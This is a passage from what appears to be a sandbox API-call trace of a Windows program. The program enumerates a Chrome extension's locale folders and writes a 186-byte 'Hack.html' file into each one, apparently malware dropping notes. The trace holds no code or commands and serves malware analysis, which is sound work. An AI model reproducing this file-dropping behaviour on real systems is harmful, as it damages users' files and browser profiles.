Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.891] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.891] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.891] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.892] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg", lpFilePart=0x0) returned 0x92 [0075.892] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\", lpFilePart=0x0) returned 0x93 [0075.892] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.892] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.892] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.892] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.892] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.893] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.893] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.893] GetFileType (hFile=0x174) returned 0x1 [0075.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.893] GetFileType (hFile=0x174) returned 0x1 [0075.894] WriteFile (in: hFile=0x174, lpBuffer=0x28700e4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x28700e4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0075.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn", lpFilePart=0x0) returned 0x92 [0075.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\", lpFilePart=0x0) returned 0x93 [0075.895] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.896] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.896] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.897] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.897] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.897] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn", lpFilePart=0x0) returned 0x92 [0075.897] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\", lpFilePart=0x0) returned 0x93 [0075.897] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.897] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.897] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.897] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.898] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.898] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.898] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.898] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.899] GetFileType (hFile=0x174) returned 0x1 [0075.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.899] GetFileType (hFile=0x174) returned 0x1 [0075.899] WriteFile (in: hFile=0x174, lpBuffer=0x28758f4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x28758f4*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0075.900] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca", lpFilePart=0x0) returned 0x92 [0075.900] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\", lpFilePart=0x0) returned 0x93 [0075.900] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.901] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.901] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.901] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.901] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.901] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca", lpFilePart=0x0) returned 0x92 [0075.901] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\", lpFilePart=0x0) returned 0x93 [0075.901] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.902] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.902] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.902] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.902] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.902] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.902] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.902] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.902] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.903] GetFileType (hFile=0x174) returned 0x1 [0075.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.903] GetFileType (hFile=0x174) returned 0x1 [0075.903] WriteFile (in: hFile=0x174, lpBuffer=0x287b104*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x287b104*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0075.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs", lpFilePart=0x0) returned 0x92 [0075.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\", lpFilePart=0x0) returned 0x93 [0075.904] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.905] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.905] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.905] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.905] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.906] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs", lpFilePart=0x0) returned 0x92 [0075.906] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\", lpFilePart=0x0) returned 0x93 [0075.906] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.906] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.906] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.906] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.906] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.907] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5b8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\Hack.html", lpFilePart=0x0) returned 0x9c [0075.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eaac) returned 1 [0075.907] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.907] GetFileType (hFile=0x174) returned 0x1 [0075.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eaa8) returned 1 [0075.907] GetFileType (hFile=0x174) returned 0x1 [0075.908] WriteFile (in: hFile=0x174, lpBuffer=0x2880914*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb28, lpOverlapped=0x0 | out: lpBuffer=0x2880914*, lpNumberOfBytesWritten=0x39eb28*=0xba, lpOverlapped=0x0) returned 1 [0075.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da", lpFilePart=0x0) returned 0x92 [0075.909] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\", lpFilePart=0x0) returned 0x93 [0075.909] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.909] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.909] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.909] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.910] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0075.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb7c) returned 1 [0075.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb88) returned 1 [0075.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0075.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x39e6c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da", lpFilePart=0x0) returned 0x92 [0075.910] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\", nBufferLength=0x105, lpBuffer=0x39e698, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\", lpFilePart=0x0) returned 0x93 [0075.910] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\da\\*", lpFindFileData=0x39e8e4 | out: lpFindFileData=0x39e8e4) returned 0x59a728 [0075.910] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.910] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 1 [0075.910] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e8f4 | out: lpFindFileData=0x39e8f4) returned 0 [0075.910] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 